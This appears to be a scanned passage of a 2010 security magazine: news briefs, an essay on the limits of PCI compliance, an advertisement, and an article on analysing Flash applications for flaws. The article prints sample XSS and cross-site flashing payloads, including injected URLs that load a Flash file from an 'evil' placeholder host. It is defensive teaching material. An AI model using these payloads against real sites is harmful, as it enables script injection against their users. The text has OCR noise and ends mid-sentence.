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| _ a Google just rolled out SSL encryption to Google Search. The
O . e option is currently in beta, therefore the users aren't automati-
cally transferred to https. Over the years, Google started adding
SSL capabilities to their portfolio of online products, most nota-
bly making it the default option for all Gmail users in early 2010.

( )

Ruckus Wireless has been granted a patent by the USPTO for an innovation that
simplifies the configuration, administration and strength of wireless network secu-
rity. The new technique effectively eliminates tedious and time-consuming man-
ual installation of encryption keys, passphrases or user credentials needed to se-
curely access a wireless network. ( )

Zscaler's newly released Q1 2010 State of the Web report details
the enterprise threat landscape and the variety of Web-based is-

\
ZSCA LE R sues plaguing Internet users. Among numerous findings, the report

details several growing threat vectors, including attackers leveraging
search engines and growing fake anti-virus threats. ( )

www.insecuremag.com 5



Francis deSouza is senior vice president of the Enterprise Security Group at Syman-
tec. In this interview he discusses Symantec's recent acquisitions, how they mitigate
cloud computing and social networking threats, as well as Symantec's plans for the
near future. ( )

Critical vulnerabilities have been identified in Photoshop CS4 11.01 and earlier for
PS Windows and Macintosh that could allow an attacker who successfully exploits these
— vulnerabilities to take control of the affected system. A malicious .ASL, .ABR, or .GRD
file must be opened in Photoshop CS4 by the user for an attacker to be able to exploit
these vulnerabilities. ( )

Bernd Marienfeld has discovered that the passcode protection can be bypassed by ”
simply connecting the iPhone 3GS in question to a computer running Ubuntu =

10.04. According to him, the iPhone can be tricked into allowing access to photos, =
videos, music, voice recordings, Google safe browsing database, game contents,

(AR
(A
[

and more. ( )
l The increasing convergence of multiple networks for voice, data, video and other
A services onto a single infrastructure based on IP, has the potential to leave serious

gaps in security. The new research from the ISF identifies the potential risks and re-
wards of convergence and details four key steps to secure converged networks.

( )

A survey of IT security professionals has discovered that 83% consider commer-
cial applications to be riddled with code flaws and vulnerabilities. As a result, se-
curity professionals are making heavy investments in penetration and code test-
ing, combined with application scanning, to try and build security into the soft-
ware. ( )

A spyware application that is installed by a number of freely dis-
tributed Mac applications was found on a variety of websites. OSX/
OpinionSpy performs a number of malicious actions, from scan-
ning files to recording user activity, as well as sending information
about this activity to remote servers and opening a backdoor on
infected Macs. ( )

www.insecuremag.com



When the officials "playing" the roles of various decision-makers tried to

shutdown cell phone and Internet services to prevent a cascading effect,
they discovered that federal agencies actually don't have the authority to
do so, and that companies providing these services might be unwilling to
do it when asked. ( )

The Samsung S8500 Wave phone with the Samsung bada mobile platform has been
found being shipped to customers while containing malware on its 1GB microSD
memory card. The malicious file is accompanied by an Autorun.inf file, which installs
itself on any Windows PC that still has the autorun feature enabled.

( )

In view of all the rogue applications that have targeted Facebook users, the an-

nouncement that the social network will require developers to verify their account = =

(by confirming their mobile phone or adding a credit card) in order to create new ._'
applications is a welcome one. ( )

/}}/ criminals to leverage public interest surrounding the 2010 FIFA World Cup - and issued
advice to follow to make sure people enjoy the month-long tournament without becom-
ing the target or victim of an attack. ( )

Q‘%‘ Lavasoft warned computer users to be aware of stealthy online traps set by cyber-

Nicholas Percoco and Christian Papathanasiou, two security researchers from
Trustwave, have recently announced that they came up with a proof-of-concept
kernel-level rootkit in the form of a loadable kernel module, with the help of which
they will demonstrate an attack on a Android smartphone at the DefCon confer-
ence next month. ( )

A zero-day flaw affecting 10.0.x and 9.0.x versions of Adobe Flash Player - including
the current version, which is 10.0.45.2 - has been spotted being exploited in the wild.

‘ The flaw also affects Adobe Reader and Acrobat 9.3.2 and earlier 9.x, since the vul-
nerable authplay.dll component ships with those products.

Adobe « )

www.insecuremag.com 7



A 22-year old Army intelligence analyst has been arrested by U.S. Federal officials
after he boasted about providing Wikileaks with combat videos (including that of the
helicopter attack made public by the site in April) and a massive amount of classified
State Department records. ( )

The FTC is announcing a settlement that bars the sellers of the "RemoteSpy"
keylogger from advertising that the spyware can be disguised and installed on
someone else's computer without the owner's knowledge. It requires that the
software provide notice that the program has been downloaded and obtain con-
sent from computer owners before the software can be installed.

( )

According to a recent survey, of 242 IT professionals mainly from organizations
employing 1000 to 5000+ employees, 1 in 10 admitted that either they or a col-
league have cheated to get an IT audit passed. Amongst the cheaters, lack of time
and resources are cited as the main reasons, underlining the ever increasing pres-
sure on today’s IT departments. ( )

News that vulnerabilities on the AT&T network allowed a group calling itself Goatse
Security to harvest emails and AT&T authentication IDs of 114,000 early-adopters of
Apple's iPad shocked potential victims. Goatse Security has a history of warning
about security vulnerabilities, and they managed to get their hands on the data by us-
ing a script on the AT&T's website. ( )

Thousands of websites and who knows how many visitors were affected by the re-
cently discovered mass SQL injection attack that targeted - among others - The Wall
Street Journal and The Jerusalem Post websites. Further investigation into the matter
revealed the common denominator: all sites are hosted on IIS servers and use
ASP.net. ( )

Tavis Ormandy, the well-known Google security researcher who discovered the
feature/vulnerability in Java and forced Sun to patch it up swiftly by releasing the
details to the public - has done it again. The vulnerability exists in the Windows
Help and Support Center function (helpctr.exe) and affects only Windows XP and
Windows Server 2003. ( )

www.insecuremag.com 8
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“Lowest Common Denominator” (as defined by Webster’s Dictionary) is
“often used to indicate a lowering of quality resulting from a desire to find

common ground for many people.”

Frankly, | think this description is lacking. |
was never great with math, but | do know net-
work security. And | know that the current PCI-
DSS standards require the absolute minimum
level of security.

Heartland Payment Systems was, to date, the
largest breach in history, with tens of millions
of credit and debit card data stolen. Yet, the
company had been deemed PCI compliant
just weeks before. The CEO of Heartland
Payment Systems knew that PCl wasn't
enough to secure Heartland against a sophis-
ticated cyber attack, and even admitted it on
an earnings call with analysts on November 4,
2008.

He said, “We also recognize the need to move
beyond the lowest common denominator of
data security, currently the PCI DSS stan-
dards for processing secure transactions, one
which we have the ability to implement without
waiting for the payments infrastructure to
change.” The CEO of the corporation who suf-
fered the largest credit card data breach in

history readily confirmed that “PCI compliance
doesn't mean secure.”

Instead of going the extra mile and erring on
the side of safety, Heartland’s executives ig-
nored the warning signs and took the cheap-
est route. They treated PCI like the ‘ceiling’
when it should be the ‘floor’ for security. That’s
unfortunate, knowing how profitable the credit
card business can be.

Now, PCI DSS has been a great way to force
the enterprise into creating a budget for and
rolling out security. However, these budgets
are being spent not on the best security solu-
tions, but on specific security products that are
outlined in particular PCI controls.

It’'s a catch 22 - the only way for an IT group to
advance their security programs beyond the
baseline requirements it to justify the spend,
yet the only justification people have is PCI.
PCl is just too bare-boned when it comes to
prescribing good security.

www.insecuremag.com
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Most people forced to bring a company up to PCl compliance
have lost sight of the original goal.

For too long the question has been “how does
this make us compliant?” - instead of “how
does this make us safer?” PCI has forced
companies to do more, but not enough. If PCI
is going to be a standard, we should raise the
bar on that standard.

Of the breaches in 2009, 81% of vendors
were not PCI compliant. To be clear, that
means that 81% of the vendors couldn’t even
attain the lowest level of security required.
Heartland was PCI compliant, and yet they
were still not secure. Also, 41% of businesses
couldn’t even pass a PCI audit of the 2006
standards - never mind the current standards.

Most people forced to bring a company up to
PCI compliance have lost sight of the original
goal. PCI DSS was created as a way of reduc-
ing security breaches and credit card fraud,
because consumers were losing of faith in
their credit cards. The problem is that asses-
sors often just focus on the actual controls of
PCI, and not the spirit PCI was created in.
They simply don’t understand why PCI was
written, or what sort of risk it was built to miti-
gate.

Obviously PCIl compliance won't make it im-
possible for hackers to steal data. However, it
should make it harder.

The imperative for companies is to concentrate on baseline
security, not on PCl-scope-related-checkbox-security.

As Dr. Anton Chuvakin would say: “Security
first, compliance is the result.” Unfortunately,
the mindset of the enterprise is to fear not the
hacker, but the auditor. And that’s not the right
mentality to have. PCI DSS shouldn’t be the
basis of an information security policy. Just
think about it - that’s asking VISA and Mas-
terCard to define your security policy while ig-
noring other major threats. That’s madness.
Complacency that stems from compliance to
a standard is unacceptable.

As someone who helps customers attain PCI-
DSS compliance, I've witnessed on more than
one occasion an executive say “l might get
fined, but that’s a risk | can take.” What?
That’s your concern? The fine? That’s an epic
fail. It is the attacker you need to be con-
cerned with. Sure, PCI will fine you, but that’s
just money. What about a public breach, what
about the damage to company image, the
damage to your customers or even the

damage to employee PII?

Now don’t get me wrong. | appreciate PCI,
because it continues to push that 90% of
companies that are below the acceptable level
of security, into spending money on a base-
line. PCl in its current revision is not perfect,
but it has certainly forced a number of compa-
nies to step up. The industry is safer with PCI.

The imperative for companies is to concen-
trate on baseline security, not on PCl-scope-
related-checkbox-security. Use PCI as the
lowest common denominator, and go well be-
yond that. Don’t fear the auditor, fear the
hacker, and adjust your security for that. The
fine from PCl is much less of a threat than the
negative media, and damage control that
comes from a data breach.

We can do better.

Dimitri McKay is a Security Architect at LogLogic (www.loglogic.com). He is a Log Evangelist working with
LogLogic customers to identify and alleviate challenges in forensics, operations or compliance to industry
mandates and government regulations. Public speaker, blogger, and writer for both industry and trade

publications in both print and digital format.

www.insecuremag.com
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Tired of seeing your employees and
customers being phished?

With many targeted phishing attacks making it past some of the best
anti-spam filters, users have become the last line of defense against
phishing. Visit our website and find out how our fun and effective train-
ing solutions can significantly reduce the chance of your employees
and customers falling for phishing attacks.

With the most comprehensive suite of anti-phishing training and filter-
ing solutions, Wombat Security Technologies has established itself
as a global leader in the fight against phishing. Our solutions have
been licensed for use in sectors as diverse as finance, government
and health care to name just a few.

Contact us at sales@wombatsecurity.com and find out how our so-
lutions can help effectively train your employees and customers.

www.wombatsecurity.com

412-621-1484
‘ w o m b o t sales@wombatsecurity.com
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Analyzing Flash-based
RIA components and

discovering vulnerabilities
by Rishita Anubhai and Shivang Bhagat

The development of the Information Web can be presented synoptically as:

Interactivityis the

Static Web Pages K rdl

Minimal Client ‘back LW AJAX, Flash, Silverlight, RIA
to’ Server Interaction

Blogs, Wikis, Social
Weak User End in ” y
terms of capabilities Networking Applications

Web 1.0 Web 2.0

Figure 1 — Quick comparison between 1.0 and 2.0.

Furthermore, depending on the perspective of where “interactivity” and “RIA (Rich Internet
various people, the next era will most likely be Applications)” are the key terms for any func-
about “living” on the web with virtual worlds, tionality in the web (as shown in Figure 1 —
avatars and the like. Hence in this scenario, Web 2.0), client side technologies have also

www.insecuremag.com 13



evolved to keep pace with the changing de-
mands. Client side scripting facilities make in-
teraction not just possible but also smooth for
the client without having to go to the server
each time for every little interaction that the
user does. One of these client side technolo-
gies is Flash — the topic of discussion for this
paper. Flash was initially centered on pas-
sively providing animations and movies for the
end user. From that, it grew to incorporate cer-
tain procedural features with the Scripting
Language provision of ActionScript 1.0 and

Flash providing passive

Moviesand Animations

Procedural Support:
ActionScript 1.0 and 2.0

2.0. Today, it allows for the running of Action-
Script 3.0 which is an object oriented scripting
language and supports high end interactivity
features and programming (as shown in
Figure 2).

But when a technology is ripening, so are the
malicious intents towards the same and that is
precisely why this domain of Flash applica-
tions and corresponding security needs to be
looked into.

Object Oriented Scripting
Support: ActionScript 3.0

Figure 2 — Flash technology transformation.

A closer look at Adobe’s major initiatives

The three major initiatives taken by Adobe
with respect to this domain are:

* Flash
* Flex
* Adobe Integrated Runtime (AIR).

Flash

Centered on animation facilities with respect to
time, therefore predominant features being Timeline
Based Development.

The framework and environment is relatively freer

and the developers can approach it from various
perspectives.

Target Developers are those with an artistic motive.

While Flash and Flex provide facilities for
building interactive applications with subtle dif-
ferences as highlighted below, AIR covers a
larger sphere.

The subtle differences between Flash and
Flex can be summarized thus:

Flex

Centered on the development of Rich Internet Ap-
plications (RIA), therefore predominant features be-
ing User Interface and Interaction Elements.

* Project Framework is provided

* Insistence on extending Flex Classes and
such other programming framework unlike
the creative freedom in Flash.

Target Developers are those with the motive of de-
velopment of Web, RIA applications.

Table 1 — Quick view: Flash vs. Flex.

The architecture of the Flash and Flex applica-
tions is similar and so shall be discussed in
the next section with interchangeable names
unless specified otherwise. On the other hand,
AIR provides a platform for the development
of Rich Internet Applications with a variety of
technologies which include: Flash, Flex, HTML
and Ajax.

www.insecuremag.com

AIR applications have been viewed as easy
yet powerful to use and the platform is a boon
to the developers, who can develop innovative
applications in a much easier manner, with
minimal changes, and make the application
work also in offline model as a desktop
application.
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Architecture of Flash-based
applications

The bigger picture: Basic Web application
architecture

Web applications are generally based on a
three-tier approach, which can be extended to
n-tier as per the individual requirements of the
application. The three tiers are shown in
Figure 3 below.

When it comes to a thin client, the Presenta-
tion (Browser Display) is the only layer located

on the client, whereas the other two layers re-
side on the server. But, when thick clients are
involved, they are used to their full capacity by
having parts of the Application layer also on
the client. Forrester Research, a major
technology-consulting firm, called this concept
“The Executable Internet or the X Internet”. As
a result, client side scripts that execute com-
pletely on the client and within the browser
have been introduced.

Moreover, the above architecture can be ex-
panded as and when needed to have more
layers depending on the business logic
involved and other such aspecits.

Earlier Thin Clients

Web 2.0
Thick Clients

Presentation

Storage Jatabase and Other Storage

/

Browser Elements

Scripts written pertainingto
the application

Figure 3 — Application layers.

Architecture of Flash as an X Internet Tool

Flash is one of the tools of the Executable
Internet, which - as mentioned earlier - has
begun as a utility for web animation, and has
become one that supports the robust object
oriented scripting language ActionScript and
can be used to develop applications that allow
the user to interact with the application.

In this architecture, the scripts that run on the
client allow for smoother execution of certain
actions in response to the user, without requir-
ing frequent communication with the server. In
this respect, Flash effectively provides a rich
layer of interactive programmability on top of
the existing HTML page standards. This is
also the primary reason why the concept of
Rich Internet Applications was coined.

For example, without using the “Back” button
and resending requests, the user can keep
changing the features he wants on a Flash-
based web application for buying a new car.
On each change, the current combination of

www.insecuremag.com

features would be modeled and shown to the
user in a corner almost immediately without
having to submit the list each time to the
server and waiting for a reply to the same.

* In Figure 4, the Front End of these applica-
tions comprises of the browser along with the
required plug-in for the Flash player.

+ Scripts then allow interaction and guide the
user through the displayed Flash Web applica-
tion. To run the scripts, continuous communi-
cation with the server is not required, unless
another URL is explicitly needed (as will be
seen later when discussing the getURL
function).

* At the Back End, as and when needed, calls
are made to the server via application service
protocols. Application protocols are those that
operate as a layer on top of the TCP/IP stack
and provide mechanisms for RIA communica-
tions as highlighted in the block diagram on
the following page.

15



Run Scripts solely on the
client and interact to the
client to give responses as

Load the Flash Web Application

Front End:
Browser
Plugin

programmed in the script

Make calls as commanded by the script

Examples:
*getURL() — To refer to other

domains from within the file.
*LoadMovie()
sLoadVariables()
*XML.SendandLoad()

Response to these Calls

L

)

This communication dccurs via application
service protocols such as JSON, AMF

Figure 4 — Communication within Flash based RIA

— XML is simple to understand and supported
on a much wider scale than JSON and AMF
(detailed below). As a result, in case of APIs
published for a web application, they com-
monly provide XML interfaces to adapt easily,
but over which the JSON and AMF can then
be provided if required.

— JSON (JavaScript Object Notation) is a
much more efficient protocol and one de-

signed especially for the JavaScript language.

Despite this, it is not strictly dependent on the
JavaScript language and has parsers for
many programming languages in general.

— AMF (Action Message Format) is Adobe’s
own RPC (Remote Procedure Call) that is
predominantly used for Flash and Flex web
applications’ remote communication. It com-
prises actions such as Gateway Connection,
Service Access, Callback Method Access and
further processing after which response is
sent back. It is largely used for Rich Internet
Applications.

+ Of these protocols/structures, JSON and
AMF are comparatively more efficient than
XML. On the other hand, they also require
support for specific encoding and decoding.

The choice then depends on the platform - i.e.

AJAX is more likely to use JSON while it
would be more natural for Flash and Flex ap-

www.insecuremag.com

plications to use AMF. The final choice rests
with the developers and the designers of the
individual services.

This summarizes the architecture of web ap-
plications and specifically Flash-based appli-
cations work, and the mechanisms that sup-
port the functioning of these applications -
providing the users with a richer experience
on the Internet and a smoother one with fewer
interactions with the server and shorter waiting
times.

The Flash security model in a nutshell

The Flash security model has two main
concepts:

« Stakeholders — This concept details the
rights of various people involved in a Flash
application from different perspectives, such
as developers, web site administrators and
end users.

+ Sandboxes — This concept helps in ‘fencing’
each accessibility area of the SWF files i.e. to
restrict their access to a limited virtual web
area and files. There are various types of
sandboxes depending on the area of concern.

16



Stakeholders’ Hierarchy— Adobe Flash Security Model

Administrator Settings

User Settings

Website Settings

Author Settings

Responsible for security settings
during the installation of the
working environment.

Control specific security settings
customized per user and associate
trusted status to specific set of
files.

Control the server content access
based on policy files — specify the
permitted domains outside the
sandbox.

Access to cross scripting APIs and
can allow data requests and
responses across domains. As
lowest in the hierarchy this
allowed domains can  be
superseded by policy files

Figure 5 — Summarizing the Stakeholder Concept of the Flash Security Model.

SandboxClassification

Wlth
Networking

v

Permits the
SWF in this
sandbox to
access only
other files on
the file-system.

Permits the
SWF in this
sandbox to
access only
other files on
external

domains on the
network.

Permits both
features i.e.
access to local
file-system as
well as the
network

domains.

Permits access to
the same
domain only. For
access to other
domains, strict
procedures,
policy files are
needed.

Figure 6 — Synopsis of the Sandbox Model of Flash Security.

Approaches for security analysis

The analysis of a Flash application from a se-
curity point of view can be based on two

approaches:

* Reverse engineering Flash components
« Protocol analysis.

www.insecuremag.com

I. Reverse engineering Flash components —
Tool support: SWFDump

Reverse engineering Flash components con-
sists of starting from the .swf file (the final
flash file to execute) and working backwards

to a point from where the security analysis can

be done methodically by understanding the
exact working mechanism of the .swf file.
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Case Study 1: Scripts causing XSS with
Flash-based components

A. getURL based XSS

The unassigned global variables such as
those beginning with _root.*, _level0.*, etc,
can be assigned values by the QueryString
Parameters. These variables and the Flash
file’s other variables - popularly known as
‘flashvars’ - can be assigned and manipulated
in this manner via the QueryString. Once that
is done for a malicious user, the injection of
these variables can be done into functions
such as the getURL, which makes calls for
URLSs supplied as its parameters. Hence,
these variables could be manipulated to hold

an executable script like a simple JavaScript
alert, and when injected into getURL an XSS
(Cross Site Scripting) attack could easily take
place. It is easy to detect such a flaw if you
take a look at the disassembly of a simple .swf
file provided by SWFDump. The file merely
shows how lack of validation causes a JavaS-
cript command to be passed successfully to
the getURL function and is smoothly executed.

The gravity of the danger posed by one such
vulnerability can be estimated by seeing how
commands other than simple alerts (such as
key-loggers, cookie-thieves, etc.) could be
planted through similar manipulation. Consider
the following .swf file as it runs:

@ - c x o]
Disable~

test3.swf (application/x-shockwave...

HI

http://192.168.81. 50/test3.swf

: Cookies~ CSS~ Forms~ Images~ ) Information~

This flashes when the “.swf’
file runs in the Internet

[ OK I

f - e

Miscellaneous~ '

Explorer Browser.

Figure 7 — Simple XSS.

To analyze the file methodically, SWFdump is run on this file and the following is seen:

swftestisufdunp ~D test3.swf

Movie height: 468.08
FILEATTRIBUTES
3 SETBACKGROUNDCOLOR (ff/ff/ff)
DEFINEBITSJPEG2 defines id 0081
2 DEFINESHAPE defines id 0002
i Fillstyles<B2)
i 1 > BITMAPcn 65535
> BITMAPcn 1

08 movelo 330.35

88 ~ lineTo 200.60 205.40
= lineTo 2008.68 177.65

= lineTo 338.35 177.65
lineTo 330.35 205.40

PI:.RCEOBJECT2 places id 8082 at depth 8881
i Matrix
i 1.908 @.000 8.00

0.908 1.000

1 8. @.00
SHOWFRAME 1-6 <09:00:00,000-00:00:00,417)>

DOACTION

< 31 bytes) action: Push String:"javascript:alert{’HI’>" Stri

< 1 bytes) action: GetUrl2 1
B bytes) action: End

< En
B SHOWFRAME 7-14 <(00:00:00,500-00:00:01,083)
2 REMOUVEOBJECT2 removes object from depth 8081

2 DOACTION
< 8 bytes) action: Stop
< B bytes) action: End
@ SHOWFRAME 15 (99:00:01.167)
@ END

:\Users\Rishita\ suftest)

linestyles <08

205.40

The P-codes show the
sequence to be the
pushing of a string
containing JavaScript
1 and then the same
string being taken as a
Without any checks,
when this is done
sequentially it will
cause the XSS attack

to occur successfully.

Figure 8 — SWFdump running on simple file.

www.insecuremag.com

18



The SWFDump output provides information
regarding the sequence of instruction execu-
tion, and this could prove useful in an analysis
whose aim is to spot security loopholes. Simi-
larly, if decompiler tools are used (the above
was a disassembly which brought us to the
level of opcodes), the code could reveal a line
such as:

getURL (_root.input) ;

Hereafter, the correction that could be made is
to validate the string or flashvar going into the
getURL function by checking that the string
begins with an http or https request at the
least. Additional mechanisms to escape
strings and not permit ‘<’ or >’ et cetera could
also be included.

B. HTML tag based injection

It is possible to allow a Flash file to access
HTML tags and processes at runtime. If this

statement has not already indicated the poten-
tial for major security breaches, the following
discussion shall explicitly highlight it.

This attack can be achieved only if the devel-
oper has set htmlText to true. Although Flash
supports very few HTML tags, an attacker can
(and most likely will) inject these and exploit
the few entry points that are permissible.
Consider the following scenario:

Here, HTML content is being set initially and
then it is passed as a parameter to the
getURL function discussed above.

_root.htmlText = true;
getURL(_root.input) ;

Now this is an entry point for an attack right
away. This can be exploited in one of the
following ways:

http:/ /www.example.com/test flash.swf?input=<a href="javascript:alert(XSS')">Click </a>
http:/ /www. example.com/test_flash.swf?input=<img src="http:/ /evil/evil.swf >

http:/ /www. example.com/test_flash.swf?input=<img src='javascript:alert(XSS’)/ /.swf >

Note how the ‘//’ before the .swf will make
it a comment as far as JavaScript execution

Each of these on execution will create and at-
tach the tags and run inside the browser’s
DOM context. As discussed previously, this
exploit can be stretched beyond the simple
alert command.

C. clickTAG XSS attack — Famous Flash
attack due to banner advertisements

The clickTAG is made for tracking the number
of clicks on advertisement banners on the
web. It is possible to inject script into this tag
as its value. Consider the following code:

on (release) { {
getURL (clickTAG, "_top");
} o}

Legitimately, it will be called in the following
way i.e. tracking is done each time a click oc-
curs. This could be later use to build the statis-
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tics of the number of clicks and popularity of
the advertisement.

<embed
src="http://www.example.com/Banner
.swf?clickTAG=http://www.example.c
om/track?http://www.example.com">

But an attacker can cause XSS by passing
value like below.

http://www.example.com/Banner.swf?
clickTAG=javascript:alert('XSS"')

D. Exploit by ‘asfunction used in conjunction
with unsafe Flash methods’

asfunction protocol handler is similar to the
JavaScript protocol handler. asfunction causes
an swf function in the Flash file to be exe-
cuted. But there are a few unsafe functions in
Flash listed on the following page:
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- loadVariables()

- loadMovie()

- getURLY()

- loadMovie()

- loadMovieNum()

- FScrollPane.loadScrollContent()
- LoadVars.load()

- LoadVars.send()

- LoadVars.sendAndLoad()

- MovieClip.getURL()

- MovieClip.loadMovie()

- NetConnection.connect()

- NetServices.createGatewayConnection()
- NetSteam.play()

- Sound.loadSound()

- XML.load()

- XML.send()

- XML.sendAndLoad()

An example of the script code would be:

loadMovie (_root.URL)

When such a function is intended to call upon
other domains, it becomes unsafe because
the parameter can be exploited easily in the
following manner:

http://www.example.com/test flash.
swf?URL=asfunction:loadMovie, javas
cript:alert('XSS')

All the other methods above can cause XSS in
similar ways in Flash driven RIA. It is possible
to dump the file, discover respective pointers
and analyze it in ways similar to the ones
described for the case of getURL earlier.

Case Study 2: Cross Site Flashing with RIA

XSF (Cross Site Flashing) is very similar to an
XSS attack. The basic concept of XSF is load-
ing of a movie by another movie. Here the ap-
plication is designed to load only a safe .swf
file specifically from its own server. But if an
XSF point is discovered it is exploited by an
attacker by forcing another file from an un-
trusted domain to be loaded. By using the
XSF attack, the attacker can:

* Load an XSS vulnerable Flash file or

+ Cause a phishing attack.

The same functions as the ones listen above

can lead to such XSF attacks. For example,
consider that an application has code such as:

www.insecuremag.com

loadMovieNum(_root.moviename, 1);

An attacker here would inject his own movie
and craft the URL to become:

http://www.example.com/XSF?moviena
me=http://www.xyz.com/xss.swf

If the .swf file was to be dumped and the
method searched for, this attack could be
discovered.

Case Study 3: Embedded SWF files within
other SWF files — Deeper reverse engineer-

ing

In many cases, certain .swf files are planted to
work around a shallow level of disassembly.
To avoid being caught by the reverse engi-
neers, the malicious code is planted as a .swf
file, but embedded in another .swf file. The
parent file is designed to look relatively sim-
pler and not hazardous. Only on closer in-
spection is the manipulation discovered.

Once caught, the reverse engineering process
can be done recursively for the child .swf file.
Through many such levels the final malicious
file can hidden and found as well.

The main purpose of this case study is to
show the recursive aspects of the reverse en-
gineering approach. Consider an .swf file like
the one mentioned above where the malicious
code is not directly available in the output of
the first dump. Running SWFDump on it
merely gives an output where one can see a
large list of bytes have been pushed directly
onto the stack by commands like:

xxxxx) + Y:Z pushbyte XX

The bytes could continue to be pushed to a
large number and consider a case where they
are then stored in some array by a command
such as:

xxxxx) + Y:Z newarray Wwwww params
xxxxx) + Y:Z setproperty<qg>
[public]: :array

where in all the three above commands x,Y,Z
denote individual integers (different values in
each command likely).
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When looking for the “array” in the remaining
dump, one may find the mechanism that uses
these bytes and decrypts them by - for exam-
ple - using a string key stored initially by a
regular XOR loop or any other such mecha-
nism. Therefore, the pushes can be extracted
in a separate file and analyzed. From there,
the bytes pushed may be extracted to a
separate file.

Analyzing the mechanism of the code that was
found around the decrypting part of the “ar
ray”, it is not very difficult to guess the kind of
decryption used. Hence, a script in Perl, Py-
thon or their likes can be manually written to
decrypt the extracted bytes imitating the same
way as was found in the parent SWFDump to
decrypt it. On decrypting, the result could be
another .swf file. Running a second
SWFDump on this file is then required. If large
hex strings are found to be pushed into the
local registers in one of these dumps, these
can be analyzed by trying to convert them to a
binary file using another manual script. It
would not be surprising if these large hex
strings were also additional .swf files them-
selves. At some point, SWFDump may fail to
decrypt when it hits some malware exploit

containing codes. Hereafter - with some
knowledge of what to look for and the opcodes
that SWFDump cannot parse - it is possible to
find the problem manually. For example, the
opcodes can be read as an .asm file and the
mechanism of the exploit can then be
analyzed.

The crux of this study is that reverse engineer-
ing may not always stop at level 0. Depending
on the first output, the suspicious codes that
do not make sense must be re-analyzed and,
if need be, extracted by using small scripts
and then once again reverse engineered.

Il. Protocol analysis

It is also possible to identify the service point
and server side access points from Flash
components. The subject Flash component
may be communicating over AMF, JSON or
XML to these back end com